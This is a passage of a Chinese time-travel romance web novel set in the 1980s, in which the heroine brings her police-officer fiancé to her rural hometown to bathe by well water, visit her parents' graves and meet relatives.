锁上院子的门,安暖开始犯愁了,她发现,真的应该让楚隽去住招待所的。 她家的条件,才是这个年代真实的条件。 就是不方便,各种不方便。 而她一来这个年代,就直接住进了楚家,让她觉得好像和后世的差别是有限的。 事实上,差别很大。 如今才有了一些年代文特别真实的感觉。 家里有电,可只有电灯,热水器什么的那是不可能的。 别说热水器,就是自来水,都没有。 用水的话,院子里一口井。 安暖有些无助地在家里转了一圈,走到院子里,看了看黑乎乎的水井,抓了抓头发。 这……她虽然脑子里有一切的记忆,也知道家里是什么情况,可真正到了这里,还是有些手足无措。 很多事情现在是,知道,但没做过。 包括从水井里提水,包括厨房里要用木头生火的灶和大锅。 屋子里也不可能有卫生间,安暖越看越郁闷,差一点就想跟楚隽说,要不然,咱们还是一起去住招待所吧。 穿越八零,幸亏是去了京市,要是直接就穿到这里,真要适应好一阵子。 楚隽倒是没露出什么不适应的表情,不过看安暖的反应,觉得有些可爱。 “怎么了?”楚隽走到井边:“是不是要打水,我来。” “你……会吗?” 第245章 烧水洗澡 安暖有点怀疑。 不是不相信楚隽的动手能力,但是他一个十指不沾阳春水的大少爷,能会这个? “这有什么,还能有我不会的?”楚隽在自己未婚妻面前,必须什么都会:“你给我打着灯,看我给你露一手。” “好。”安暖拧开了手电筒。 楚隽拎起了木桶。 在技术上,楚隽肯定是不熟练的,有些地方有点卡壳。但是力气肯定不缺。 安暖刚刚好可以和他互补。 安暖虽然没有实操过,但是记忆里有所有的经验和方法,于是成了场外指导。 “这样,这样……对对,你这样……好,拎上来了。” 安暖指指点点,楚隽虚心求教。 一桶水终于拎上来了。 “好了。”楚隽将水拎出来:“拎去厨房吧,这么冷的天,你也不能用冷水洗漱。” “嗯嗯。” 安暖带着路,进了厨房。 楚隽将一桶水都倒进了锅里。 厨房的角落里,倒是还堆着一些之前没用完的柴,幸亏没有受潮,但是也不多。 安暖站在柴堆边看了看,说:“那就……生火吧?我来生火。” 安暖这话说得不太有底气。 理论知识满分,实践零分。 凭着记忆,安暖找出火柴,又找了一些枯叶子,用火钳夹着点燃了,用来引火。 楚隽确实没亲手干过这活儿,此时饶有兴趣地蹲在一边看安暖生火。 并且随时准备动手。 看着看着,楚隽不免觉得有些奇怪。 虽然安暖的步骤都没有什么毛病,烟出来了,火也升起来了。 安暖的手在柴堆里划过,选了几根粗细适中的木柴丢了进去。 很快,火就升了起来。 “好了。”安暖还挺得意:“现在等着就可以了。” 这是安暖第一次烧柴火灶,自己感觉还挺新鲜。 又塞了一些粗一点的木柴进去。 火更旺了。 但是剩下的木柴不多了。 害怕受潮,家里一般不会攒太多的柴火。有人有力气的,空了便去砍柴拾柴。安暖只有父女两人,都有工作,柴火一般靠买。 安暖有些忧愁地看着锅里。 楚隽也有些忧愁。 “你说,这些柴能把水烧开吗?” “差不多……吧。”安暖皱眉道:“其实我家还有个煤球炉子可以烧水烧饭,不过家里煤也用完了。没事儿啊,实在不行我去隔壁买点。” “这么晚了,别折腾了。”楚隽朝锅里看了看:“我们车上还有两瓶水可以喝。你这是洗澡,水不必烧开,热了就行。” 是这个道理,安暖觉得自己有点傻。 烧开以后,不是还要往里掺冷水么? “行,那烧得差不多就行。”安暖说:“擦洗一下,省着点用也够了。” “不用省,你正常洗澡就行。” 安暖又看了看水:“那怎么够?” “够你用的。”楚隽笑了一下:“我看堂屋里有个澡盆,我给你拿去井边洗一下,再给你把水拎去房间里。” 楚隽进状态还挺快的。 “那你怎么办?” “我一个大男人,怎么洗不是洗?”楚隽一指外面:“我就在外面用冷水洗。” “那不行……” 这又不是盛夏,冷水洗怎么行? 但安暖话没说完,就被楚隽捂住了嘴。 “非常行。”楚隽说:“这才几月份,不冷。我冬天在外面出任务的时候,还下过河呢,你男朋友身体没有那么差。” 安暖还是有点犹豫。 楚隽接着说:“但是……” 安暖立刻道:“但是什么?” “但是院子里没遮没挡的,你可不能偷看我洗澡。”楚隽一本正经地说:“女流氓也是要被抓起来的。” 安暖无言以对。 “你放心吧。”安暖说:“我对着月亮发誓,绝对不偷看你洗澡。” 再说院子里连个灯都没有,能偷看见啥啊? “行吧,那我就相信你了啊。” 楚隽一本正经地点头。 水烧得差不多了,从锅里舀进木桶里,拎进安暖房间。 又将木盆在外面洗干净了,搬了进去。 “水温刚好,你快洗。”楚隽倒好水,起身检查了一下窗帘。 不过也无所谓了,院子外面也没有别人,只有他一个。窗帘严实不严实的,反正他也不会偷看。 虽然水温还可以,但整体温度多少还是有些凉,安暖飞快的就将澡给洗了。起身擦干,换了干净的衣服。 家里有她过去穿的衣服,但从衣柜里拿了几件,还是觉得有点别扭。 之前是没办法,不得不穿。现在有自己的衣服了,就不太想穿别人的衣服了。虽然是这身体自己的衣服,可对安暖来说,终归是别人。 “楚隽。”安暖裹着浴巾喊。 “在呢,怎么了?” “你帮我拿一下衣服,我忘了拿。就在客厅的行李里。家里的衣服这阵子没晒,有点不舒服。” “好,等一下。” 楚隽翻找了一下,敲了敲门。 安暖躲在门后,伸出一只手,拿过衣服,赶紧关上门。 不愧是个可以在女朋友生理期打电话问朋友妻子注意事项,还能开车过去拿卫生巾让人熬红糖水的男人啊。 楚隽给安暖拿的衣服可真全面。 内衣内裤加睡衣睡裤,齐全得很,就差袜子了。 楚隽在外面说:“你还有什么要拿的吗?” 安暖连忙说:“没了,没了,够了。” “那我也去洗澡了。” “好,那你快点,别着凉了。” 楚隽拿了毛巾香皂什么的,出了房间,走到院子里。 安暖在房间里穿衣服,听着外面水声哗啦啦的,突然自言自语道。 “我是无神论者啊,为什么要被誓言拘束呢?” 这么一想,安暖顿时就宽了心。 她毕竟心虚,蹑手蹑脚走到床边,将窗帘掀起一个缝隙,将窗子打开一点点,偷偷往外看去。 楚隽正在院子里洗澡。 院子里没灯,但天上有月亮。 看清楚也看不多清楚,只能看见昏暗中的一个轮廓。 虽然她到底也没看清楚隽洗澡的时候到底穿没穿衣服,但衣服湿了也会贴在身上,所以穿没穿也不影响。 真是人间美景,秀色可餐。 安暖一连看了好几眼,这才心满意足地拉上来窗帘。 不早了,明天还排得满满的事情呢,安暖打算赶紧铺床叠被,今晚也是要早点休息的。 第246章 三更鸡叫 安暖自己的床是没有问题的,走的时候什么样子,回来的时候也是什么样子。铺着小碎花床单,虽然这些天没晒太阳,但也还舒服。 但是她走到另一间房子里一看,愣住了。 忘了这么一茬。 当地有这样的一个规矩,很多地方可能也都有。 人在去世之后,会将他身上的衣服,盖的被褥垫的垫单,全部烧了。 东莱也是如此。 所以安父的床上,空空荡荡,就剩下木板了,连枕头都没有一个。 安父的衣柜里,也没有什么衣服。 这些事情都是安暖自己做的,但是原主的记忆复杂又多,有些不到了面前,她也想不起来。 楚隽已经洗好了,换上了干净的裤子,换了一件衬衣,扣着一半敞着一半,一边擦头发,一边往里走。 然后他也看见了只剩下床板的床。 “这……”楚隽说:“我今天晚上怎么睡?” 安暖也纠结了:“要不……我给你垫几件衣服,你就睡床板?你不是说,出任务的时候石头地也一样睡吗?这总比石头地要好很多吧?” 可惜,有钢铁意志的楚隽果断地拒绝了。 “不行,今天开了一天车,本来就腰酸背痛了,要是再睡床板,我明天该起不来了。”楚隽说:“你怎么这么狠心,连床被子都不给我?” 安暖郁闷了 “可我家没有其他被子了……要不然,你去住招待所?” “不去。” 楚隽拒绝得更爽快了。 “我就想住你家。你是我未婚妻,我要是去住招待所,被人知道了,会笑话我的。” 楚隽说着,往安暖房间走去。 “你洗完了,我帮你把洗澡水倒了。” 虽然楚隽不明白,但这些天他已经接受了这个现实。 安暖就是个娇滴滴的大小姐,虽然是从县城来的,可人家娇滴滴的那么自然,除了宠着,有什么办法? “好。”安暖就笑眯眯地站在门边,看着楚隽收拾。 收拾好了,楚隽关了大门。 “好了,可以休息了。”楚隽大大咧咧往床边一坐,还颠了颠:“你这床,还挺舒服的。” 你可以叫醒一个真睡的人,但你叫不醒一个装睡的人。 安暖绝对叫不醒一个装睡的楚隽。 “我累了,先睡了。”楚隽说。 然后他就上了床,钻进了被窝。 只有个被窝。 楚隽闭上了眼睛。 安暖无奈站在床边看了一下,感觉楚隽这个人吧,装的可真像。 楚隽虽然闭着眼睛,但张开了一只手臂,乍一看好像是无意的,但再一看位置刚刚好。 刚洗完澡那会儿挺暖和,这会儿那股暖气已经散了。 房间虽然关了门窗,也难免有些风,风一吹,就感觉有点冷了。 安暖抱着胳膊抖了一下,利落地钻进了被子里。 楚隽捂过的被子,真暖和。 她要是自己一个人睡,要么开空调,不开空调的时候,就一夜都不怎么睡得暖和。 安暖钻进被子,楚隽虽然睡着了,还是调整了一下姿势,让她枕得更舒服。 楚隽满意的睁开眼睛,在安暖额头亲了一下。 “睡吧。” 安暖也闭上了眼睛。 “楚隽。” “嗯?” “你变坏了。” 楚隽心满意足,甚至觉得安暖是在夸他:“不是我变坏了,是我太喜欢你了。” 自古以来,情话是否动听,是否撩人心弦,重点是心里是否有对方。 互相喜欢的两个人,只要是从对方口中说出来的话,都是情话。 第二天一早,楚隽是被鸡叫声吵醒的。 这是在京市没有的经历。 此起彼伏的公鸡打鸣声,划破寂静的夜空。 楚隽眯了眯眼睛,看一眼时间。 三点半。 这也太早了,这还是半夜啊。 安暖动了一下,含糊道:“怎么了?” “没事儿……”楚隽说:“你家的鸡……都那么早就打鸣吗?” “开什么玩笑?那不是我家的鸡……我家的鸡都吃掉了……” 安暖也觉得吵,将脑袋埋进楚隽的怀里。 楚隽侧过身,调整了一下姿势,握住安暖的手,绕过脖子捂住自己的耳朵。 “接着睡接着睡。”楚隽说:“还早呢,再睡会儿。” 安暖又睡了。 在稍微有点冷的秋夜,抱着一个暖和的火炉,睡的是真舒服。 再次醒来,天亮了。 鸡叫声也没了,大概叫得厉害的那几只大公鸡,已经被吃掉了吧。 安暖在被窝里拱了拱,突然僵硬了一下,嗖的一声钻出了被子。 楚隽也醒了,有点尴尬地将被子往回拽了拽。 他还试图解释。 “不是,暖暖,你听我说,这是……男人早上的正常生理反应……” “我知道我知道。”安暖转过身:“你赶紧起来,出去换衣服。我也要换衣服了。” “你知道?”楚隽一边下床一边问:“你怎么知道?” “你也不想想我是干什么。”安暖说:“我虽然不是法医,可是我也在法医室帮过忙。我看过那么多资料,基本常识还能没有吗?” 安暖不是法医,要是法医,更豪放。说不定早就把楚隽捆起来敞开研究了。 两人换好衣服,准备出门。 最重要的一件事情,先去祭拜安父安母。 还没出院子呢,听着动静的隔壁大妈就过来了。 “暖暖,是你回来了吗?” 安暖一看:“赵婶,是我回来了。这些日子,麻烦你照应了。” “照应什么呀,我什么也没做,白吃了你家的鸡。” 赵婶说着一看:“这位同志是?” 安暖介绍:“是我未婚夫。” “未婚夫?”赵婶试探道:“是你爷爷……给你订下的那个?” 赵婶是懂生活的,她不确定是不是,所以不敢一下子说全了。万一不是呢,那说出来,就容易引起人家小情侣的矛盾了。 “对,就是他,他叫楚隽。”安暖爽快道:“是爷爷当年给我定下的娃娃亲,我上次去京市就是找他的。” 一听果然是,赵婶就放心了。 安暖这么个水灵的姑娘,年纪也不小了,这些年都没人给介绍对象,就是因为亲戚邻居都知道她有婚约在身。 现在未婚夫来了,好心的邻居也松了口气。 第247章 遍地是老乡 楚隽礼貌地打了招呼。 “赵婶,您好。”楚隽转头回房间里拿了几个袋子出来:“一点心意,请您收下。多谢您对暖暖的照顾。” 见面就送礼,搞得赵婶怪不好意思的,说什么也不收。 一番推让之后,赵婶还是棋差一招,不得不收下了楚隽塞进家里的礼物。 “这多不好意思。”赵婶看着这一眼看去就不便宜的东西:“要不然,中午在婶子家吃饭,我现在就杀鸡……” “不用不用。”安暖连忙说:“我们要出门,可能要挺晚回来。赵婶,要是方便的话,能不能帮我买点煤,柴火也行。出门这些天,家里什么都没有准备。” 看样子他们是要在这里住几天的,这么冷的天,总不能让楚隽天天洗冷水澡。何况还要烧水喝呢,家里缺了燃料是很麻烦的。 但时间有限,她也不想把时间浪费在到处找人买柴火这事情上。 楚隽特别有眼力劲儿。 安暖一说,楚隽就掏钱。 不过他也不知道这些东西该给多少钱,干脆拿了好几张出来。 “太多了太多了。”赵婶从中间抽出一张来:“这就足够了,你们应该住不了多久吧?” 未婚夫都千里迢迢跟着一起来了,估计是感情很好了,在赵婶看来,安暖应该是要嫁去京市了。这次回来可能是处理一下事情,住,也是住不了几天的。 赵婶判断得很对。 果然,安暖说:“住不了几天,不用太多。大概够四五天的就够了。” “你们就两个人,又不开火。”赵婶一想,爽快道:“那真用不了多少,不用去别的地方买了,从我家拿就行。” 于是又开始新的一轮的客气推让。 最终,赵婶收了十块钱,让楚隽和安暖安心出去办事儿,保证供应安暖家里这段时间的柴。要是晚了外面没吃的,就来家里吃。晚了烧饭做菜费事,下碗面条还是很容易的。 “对了。”安暖道:“赵婶,我还有个事情,想请您帮忙。” “你说。” 安暖说:“我在京市找了工作,后面结婚,应该也会留在京市。可能就很少回来了。这房子空着有点浪费,能不能麻烦赵婶帮我打听打听,有没有人需要租房子,把我这房子租出去?” 赵婶一听,有道理啊。 “那你想租多少钱?” “都行,我也没这个概念。”安暖说:“我就一个要求,人靠谱,干净,别把房子弄坏就行。” 赵婶点点头。 安暖道:“赵婶,我知道租房子不是一时半会儿的事情,你帮我慢慢打听,租不出去没关系,要是租出去了,每年的房租你留一半,给我一半就行。” 赵婶今天一早,真是被一个又一个惊喜砸到了。 “这怎么行?” “我说行就行。”安暖非常确定地说:“我的房子,我说了算,赵婶我还有事情,我先走了。” 他们今天的计划是,先去祭拜安父安母,然后就下西风乡。 那是安暖的老家,翟老爷子下放的地方。这次过来,老爷子千叮万嘱,一定要去看看他留下无处记忆的地方,拜访一下老邻居。 给老邻居的礼物都买好了,不过祭拜用的物品需要现准备。他们就算心诚,也没有千里迢迢从京市带元宝蜡烛的道理。 安暖又和赵婶聊了几句,就打算出门。 关上院子的门,楚隽先去把车开过来。 家门口位置不好,车停在转弯过去的地方。 安暖正锁门呢,有人在后面喊。 “小安,果然是你回来了,我听着你家有动静,就知道你回来了。” 安暖听着声音一回头,一个穿着警察制服的年轻男人走了过来。 果然啊,在京市楚隽到处都是熟人。在这里,就是她的天下了。 “冯哥。” 这是安父一个单位的同事,东莱县的民警冯向文。他和安暖年纪相仿,以前安暖经常去找父亲,一来二去,自然就认识了。 冯向文都不用看见楚隽,只看安暖这一身衣服,就知道她出门这一趟,不是铩羽而归。 “小安,你和走的时候,不一样了。”冯向文感觉有些恍惚:“好像变了一个人一样。” 安暖低头看了一下自己:“跟以前穿的不一样了。” “是。”冯向文感慨:“真是人靠衣装。我记得半个月前你还……呵呵,现在像是城里的大小姐了。” “冯哥你笑话我呢。”安暖面不红心不跳地说:“就是换了件衣服,我还是我。” 冯向文点了点头:“小安,你这是……去京市找到人了?你未婚夫?” 安暖真是想苦笑。 她在老家的情况和楚隽在京市其实差不多。 楚隽身边,从亲戚到朋友,从同事到领导,有一个算一个,都知道他有一个乡下的未婚妻。 她也是一样。 在这里,从邻居到朋友,都知道她有娃娃亲的未婚夫,还出门找未婚夫去了。要是退了婚回来,估计难免要遭受不少风言风语。 “是,我们相处了一阵子,彼此都觉得不错,可能过一段时间就会结婚。” 冯向文点了点头:“那就好,那就好……他,他人呢?” “他……”安暖往转弯处一看,看见车已经过来了:“他来了。” 车缓缓开了过来。 虽然楚隽开惯的那辆奥迪已经修好送回来了,但考虑到出远门难免会遇到复杂路况,还是开越野比较方便。 这越野虽然要便宜一些,但也是整个东莱县没有的好车。 冯向文可能认不出安暖身上穿的衣服,只是觉得好看,气质不凡。但这辆车,却看直了眼。 车在路边停下,楚隽下了车。 “楚隽。”安暖朝他招手:“给你介绍一下,这是我爸爸的同事,冯向文,冯哥。” “冯哥。”楚隽跟着安暖称呼,然后递烟。 外面社交的那一套,楚隽熟练得很。 冯向文接了烟,两人寒暄几句。 “我这次带他回来,是拜祭父亲和见一见邻居和老朋友的。”安暖说:“你那我们就先走了,晚一点去看你们。” “好。” 冯向文往路边站了站。 楚隽走回去,拉开副驾驶的门,突然想起什么转头道:“要不你开,这里的路我也不熟悉,指来指去容易错。” 第248章 回村 “好。”安暖上了驾驶室:“我来开。” 楚隽进了副驾驶,朝冯向文摆了摆手:“冯哥,回头见。” “回头见。” 冯向文看着安暖熟练地打着方向盘转弯,车缓缓驶离。 “这才出去多长时间,小安竟然开车开得这么好。”冯向文有点疑惑:“好奇怪的感觉,像是换了一个人一样。” 冯向文认识安暖没有十年也有八年了,这一刻的感觉非常奇怪。 他正站着呢,后面有人拍了拍他的肩膀。 冯向文一回头,是他的同事。 “老冯,怎么了?”同事一看:“哎,小安妹妹回来了?” “是。” “我记得她是去找未婚夫的吧,既然回来了,是不是已经退婚了?那你……” 冯向文立刻捂住了他的嘴。 “别胡说。”冯向文立刻道:“小安是带未婚夫回来的。” “啊?”同事睁大了眼睛:“那……那……” 冯向文捂着同事的嘴,把他给拖走了。 安暖开车出了巷子,好在她脑中的记忆非常清晰,虽然是第一次来,但对这县城非常熟悉。 什么地方有什么店,了然于心。 无论是谁见了,都不会怀疑安暖是第一次到这里来。 七弯八转的,终于找到一家卖元宝蜡烛的白事店。 祭拜要什么东西,安暖和楚隽都不太懂,每个地方还有自己不一样的风俗。不过老板自有推荐。 安暖让老板推荐,买了一些。 “找个地方吃早饭吧。”安暖说:“吃了早饭我们就出发,最好再看看有什么吃的可以打包,这一路过去,可能没有地方买吃的。” 要一直到村里才有吃的了,而且村里也没有饭馆什么的,得在亲戚或者老乡家里吃。 安暖作为当之无愧的本地人,必须要成为一个好向导。 小县城的早点也就那么几样,油条煎包炒面啥的。 两人吃饱了,又打包了两袋煎包,几根油条。车上也还有其他吃的和水,还有点水果。 反正在路上最多也就一天的时间,肯定是饿不死的。 上了车,楚隽拍了拍胸口:“放心吧,我会爬树,要是饿了就告诉我,看看路边有什么果子,我给你摘果子吃。” 安暖脑子里自动出现了一只猴。 她放空了一下,使劲儿甩了甩脑袋,才把那只猴儿给甩了出去。 也不知道楚隽爬树的姿势敏捷不敏捷,优美不优美。 按顺序,先去了安父的墓前,又去了安母的墓。旁的都顺利,但是这路,真不是大路,不是车可以一路开进去的。 等祭拜完了上了车,安暖有种精疲力尽的感觉。 前阵子可能下了雨,路上有些地方干了,有些地方泥泞得很。幸亏又楚隽在一旁拽着,要不然的话,安暖肯定要摔好几个跟头。 就这样,也是深一脚浅一脚,一米六一脚一米六五一脚。 等好容易回了车上,安暖长长地呼出口气。 这种算是体力劳动的运动,她是真的不擅长。虽然跟着楚隽也练了一阵子,还是头脑发达,四肢相对简单。 幸亏车上有他们带着备用的鞋和裤子。 楚隽看安暖皱眉头看自己的裤脚,便道:“要不要换条裤子?” “现在?” “对,就在车上换。”楚隽说:“这里也没人,我在车下守着。” 这是在一片林子边缘,安静空旷得很。如果有人经过,远远的就能看见。 安暖本来不想折腾,但是看看自己的裤腿和鞋,还是点头。 “好。” 他们马上要开车进村,估计还得两三个小时,这泥泞的一身实在难过。 楚隽将鞋和裤子都找了出来,自己下了车,转过身去。 安暖悉悉索索的,在车里换起了裤子。 看着楚隽的背影,安暖心里有些忐忑。 这一趟老家之行,其实她是漏洞百出的。 一个在现代社会生活惯了的人,一下子来到八十年代的农村,即便脑子里曾经在这里生活的记忆,在生活习惯上,也会表现出不适应。 那种穿越回八零年乡下,立刻完美就融入的人,其实很少见很少见。 只希望楚隽能够适应良好,就像是适应她的天才人设一样,不要多心。 换了干净的鞋和裤子,安暖瞬间觉得舒服多了,招呼楚隽上车。 祭拜安父安母,比他们预想的花了更多的时间,要是再耽搁,今天晚上可能要在村子里过夜了。 安暖一点都不想。 县城的房子都是那样的条件了,村子里的情况可想而知。 楚隽上了车,两人继续赶路。 安暖家所在的村子,王是第一大姓,所以就叫王家村。 她父母都是这个村子的,所以两边都有亲戚在。 父亲那边的舅舅,姨母。母亲那边的叔叔,姑姑。 以前跟着父亲走亲戚的时候,自己是小辈,只需要跟在父亲后来,然后一边吃吃喝喝,一边听老一辈聊天就行。 现在安父不在了,安暖成了这一支的老大,颇有一种当家做主的感觉。 不过再上一辈的爷爷奶奶外公外婆也不在了,叔叔舅舅他们,本该是很熟悉的关系,可自从安老爷子带着安父去了县城定居,关系也就慢慢淡了。 这些记忆这身体的原主也很模糊,但安暖莫名的觉得,他们之间可能有一些矛盾,要不然的话不至于。 至于是什么矛盾,就搞不清楚了,只是记忆中,偶尔有一些不愉快的画面碎片。 傍晚,踏着夕阳的红霞,终于进了村。 村子里还是十分落后的,进一辆小汽车,没一会儿就能传遍整个村子。更何况楚隽这车十分霸气,看着就比一般的小汽车贵。 “前面是我……舅舅家。”安暖说:“先去舅舅家吧,舅舅大。” 父亲不在了,舅舅就是父亲。 “好。”楚隽说:“都听你的,不过今晚我们肯定赶不回去了。你看看我们在哪里过夜,当然……要是没有关系好的亲戚也不要勉强,有车,连夜回去也可以。” 楚隽是很贴心的,从不会用任何关系和事情,勉强安暖去做不喜欢的事情。 第249章 舅舅最大 安暖想了想,她也有点犹豫。 按理说是该住一晚的。 来一趟不容易,下一趟还不知道是什么时候的事情呢。这一次总要把村子里该跑的亲戚老邻居都跑一趟,今天已经这个点了,一家一家的跑肯定来不及了,怎么样明天都要再待一天。 但是……安暖叹了一口气。 “其实我也不知道要住哪一家,我印象中没有走得太近的亲戚,要不然我们走一步看一步吧,到时候觉得哪家客气就住哪家。要是都不太行,咱们就找个邻居家借宿。” “没问题,都听你的。” 一般村民淳朴,直接找村长帮忙对方也会愿意的,楚隽又愿意给钱,更没有什么不行了。 车开到了舅舅家,没下车,已经有尾随的孩子在前面喊了。 “唐爷爷,唐爷爷,你家来客人了。” 开车来的客人,是村里的稀罕客人。 唐家正在堂屋吃晚饭,听着外面闹哄哄的,好奇出来看看。 车停下,两人下了车,然后打开后座的门,拿出准备好的礼物。 礼物都是事先就一份一份的分好了的,到了哪家拿哪一份礼,不能乱。 这个年代的物资贫乏,京市海市这样的大城市有很多进口物资,还丰富一些,有钱能买到好东西。但是在偏远乡下,在外面很容易就能买到的东西,很多都是很珍贵的。 安暖来之前和楚隽商量了,也请教了王姨,给亲戚邻居准备的礼物都是适中的。 不会很贵,但是很实用,也是他们平时舍不得买的。 白酒,大白兔奶糖,肉罐头,麦乳精,桃酥,家里老小都能吃,没人不喜欢。 唐家的人听着声音便出来了。 楚隽他们不认识,安暖当然认识啊。 可是看了一眼,有点不敢认。 于是又看了一眼。 “暖暖?”唐舅舅有点不确定:“你是暖暖?” “舅舅,是我。”安暖走了过去。 安家虽然和这边联系不太多,但安父过世的时候,都是去过的,所以离上一次见面时间也不久。 可物是人非。 唐家的人揉着眼睛仔细看了好几遍,这才确定:“真的是暖暖啊,你怎么来了?” “我来看看你们。”安暖说着,把手里的东西放在桌上。 楚隽还给唐舅舅准备了见面礼红包。 “来就来,还带这么多东西干什么?”唐舅舅说:“带回去,带回去。” 但是带来的东西怎么可能带回去呢? 有了这么多东西,唐家的人笑容都灿烂了一点。 他们又看了看门口停的车,又看了看楚隽。 “这是?” “舅舅,这是我未婚夫。” 楚隽立刻道:“舅舅好,我是楚隽,是安暖的未婚夫。” 这似曾相识的一幕,在今天和明天,还要上演无数次。 “哦,你就是……”唐舅舅恍然大悟地指着楚隽:“你就是暖暖的娃娃亲对象?” “是我。”楚隽道:“舅舅您好,本来早就该来拜访你们的,只是工作忙一直抽不出时间,才拖到现在。” 楚隽起来给大家发烟,除了唐家的人,还有过来看热闹的邻居。 村子的房子都是你盖一间我盖一间,离得都很近,不管有点大事小事儿,很快就能传遍一个村子,有点什么事情都瞒不住。吃饭端着一个碗,就能聊遍半个村。 安暖的娃娃亲对象,竟然来村里了。 这对平静的村子而言,可是个热闹的新闻。 唐家人好好打量了一下楚隽。 “小楚长的真精神。”唐舅舅说:“是做什么工作的?” 楚隽说:“我是警察。” “哦哦,警察,警察好。正直,勇敢,又是铁饭碗。”旁边的人议论纷纷,都觉得不错。 而且和安暖的父亲是同行,也算是有共同话题吧。 “小楚啊……”唐舅舅摆出舅舅的架子来。 “是,舅舅您说。” 唐舅舅说:“以前呢,咱们也没见过你。不过你现在既然陪暖暖回来了,又叫我舅舅,意思是不是你们这娃娃亲……就算是定了?” “是。”楚隽说:“我们本来就是有婚约的,现在两个人都到了谈婚论嫁的年纪,所以这婚事,自然就提上日程了。这次回来,一方面是祭拜安叔叔安阿姨。另一方面,就是拜访各位舅舅伯伯。” 唐舅舅点了点头,感慨道:“我看得出来,你条件很好。暖暖父母过世得早,我们又不在县城,平时也帮衬不上。她如果去了京市,就更是人生地不熟,你可要对她好。” “舅舅放心吧。”楚隽说:“我会对暖暖好的。我们感情很好,我父母,特别是我爷爷,也非常喜欢暖暖。暖暖在京市也有了正式工作,等工作稳定了,我们就结婚。” 之前安暖和父亲回村,虽然没人当她的面说什么,但难免有议论这桩娃娃亲不靠谱的。 村子里的人嘛。 有些人是知道翟老爷子身份的,知道他回了大城市,身份不同寻常。自然也就难免说,人家只是随便说说,回了大城市,根本就不会兑现之类的话。 现在安暖回来了,还带着一看就身份不同寻常的未婚夫回来了,颇有种衣锦还乡的意思。 看着门外的邻居惊羡的站在越野车边,安舅舅都有种扬眉吐气的感觉。 “还没吃晚饭吧。”唐舅舅说着,吩咐儿媳妇:“去宰只鸡,我看隔壁二柱家今天抓了鱼,再去买两条鱼,做几个好菜。暖暖,小楚,今晚上,就歇在舅舅家。不过家里条件不好,也没个招待所,你们可能住不惯。” 舅舅都这么热心了,安暖也不好拒绝。 “那就打扰舅舅了。” “不打扰。”唐舅舅看了看安暖送来的几瓶酒,很高兴:“今天晚上,我陪小楚好好的喝两杯。” 楚隽不喜欢喝酒,但是也有心理准备。 第一次拜访安暖亲戚,不喝酒是不可能的。 不喝醉也是不可能的,别往死里灌就行。 “舅舅,我还要去叔叔姑姑家。”安暖说:“就不在您这里吃了……” “那可不行。”唐舅舅拍桌子拍板:“必须在舅舅这里吃。这样,你先去看看姑姑叔叔,转一圈回来。正好菜也做好了。” 安暖再三拒绝,但舅舅还是很威严的。 没办法,安暖只好答应了。 先去其他亲戚那儿转一圈,再回来。 第250章 不醉不归 走亲戚就是这样的,七大姑八大姨的,一家一家的转悠。安家的亲戚已经算少的了。 转了两个小时,又回到了舅舅家。 唐舅舅还是很热情的,让家里做了好几个肉菜,还有红烧豆腐,又从地里弄了几个绿叶子菜。也是一大桌子。 “回来了,快,菜也做好了。” 安暖知道今晚要住在舅舅家,刚才出去转一圈的时候,又从村口的小卖部里买了不少东西,一并提了过来。 客气和亲情都是相互的,是需要维系的。 既然舅舅客气,她也要客气。 看着两人大包小包地进来,舅舅一家果然都很高兴,一顿饭,除了楚隽喝得有点心慌,其他都挺好。 “不行了,我不行了。”楚隽喝得说话都说不清楚了:“舅舅,你的酒量可太好了……我真喝不过你。” 不仅仅是舅舅,还有舅舅家的儿子,楚隽虽然做好了心理准备,也还是寡不敌众,败下阵来。 咚的一声,楚隽趴在了桌上。 安暖也无可奈何。 她晃了晃楚隽。 “楚隽,楚隽。” “嗯。” 楚隽就嗯了一声,眼睛都没睁。 好在舅舅已经叫人安排好了房间。 家里的条件有限,没有客房,不过让儿子去玩得好的邻居家住一夜,把自己的房子腾出来给安暖住。 准确地说,是腾出来给楚隽住。 安暖和楚隽还没有结婚,不能住一起。 “小楚今天就住这里。”舅舅安排得清清楚楚:“小安啊,你和甜甜住在一起。” 甜甜是舅舅的女儿,收了安暖挺多理,拉着她亲亲热热。 安暖对这安排没有意见。 将楚隽扶进房间,咚的一声扔在床上。 喝醉酒的人,真是死沉死沉的啊。 “累死了,幸亏楚隽在家不爱喝酒。” 安暖松了一口气。 表妹甜甜今年十三岁,还在上学,端了一盆热水过来:“表姐,给姐夫擦擦脸吧,睡得舒服一点。” “好。” 安暖拧了毛巾给楚隽擦了擦脸,想想,又擦擦脖子。 楚隽喝多了,虽然不想吐,但是身上燥热得慌,难耐地用手扯了领口的扣子。 安暖无奈道:“甜甜,你先去休息吧,我照顾你姐夫睡了就来。” “好的。” 甜甜关了门。 楚隽听见门关了,立刻又醉了一点。 所谓男人三分醉,演到你流泪。 楚隽胡乱抓着安暖的手往自己脸上贴:“暖暖,脸好烫,好难受……” 安暖用手贴了贴,确实是烫。 舅舅喝的酒,那度数可不低。 楚隽这女婿第一次上门,也绝对不能认怂,大家都是这么过来的。上门的新女婿,谁能清醒的来,清醒地走呢。 “喝点水吗?”安暖说:“我给你把扣子解开一点,会舒服一点。” 楚隽闭着眼睛享受安暖的服务。 要是在京市,喝成这个样子,说不定安暖要不高兴的。 但这是在舅舅家喝的,安暖除了心疼,就没法说什么了。 安暖索性解开楚隽衬衫的扣子,替他将上身擦了一下,其他就算了。本来今天也估计着不方便洗漱的,一个晚上也不算什么。 楚隽虽然闭着眼睛,还是准确地抓住了安暖放在胸口的手。 楚隽说:“你摸我,占我便宜。” 安暖不同意楚隽的说法。 但她还是摸了摸。 恶名都已经担了,不占便宜就不划算了。 “嘘。”安暖凑在楚隽耳边低声说:“小声点,被人摸了难道这光彩吗?” 安暖又摸了摸,真好摸。 楚隽坦然舒展身体被摸了几下之后,突然就僵硬了。 “怎么了?”安暖在楚隽胸口捏了捏。 这胸肌,哈哈哈,楚隽的肌肉不是特别厚实的那种,但薄肌更美观。 说不定比自己还大呢? 楚隽突然觉得不光彩,他推了推安暖。 “怎么了?还害羞上了?”安暖又捏了捏另外一边。 仗着楚隽醉了,又在自己家,简直为所欲为。反正楚隽也不敢做什么,而且还要忍着小声点。 安暖有时候是有点恶趣味的。 当这种恶趣味只用在自己男朋友身上的时候,大概就叫情趣吧。 “别摸了,快去睡觉。”楚隽侧过身子:“我有点晕,我也要睡了……” 安暖挑了挑眉,一脸坏笑。 楚隽咬牙翻身下床,将人退了出去。 啪的一声,门关了。 “哎,你不舒服叫我啊。” 安暖在外面不死心地拍拍门。 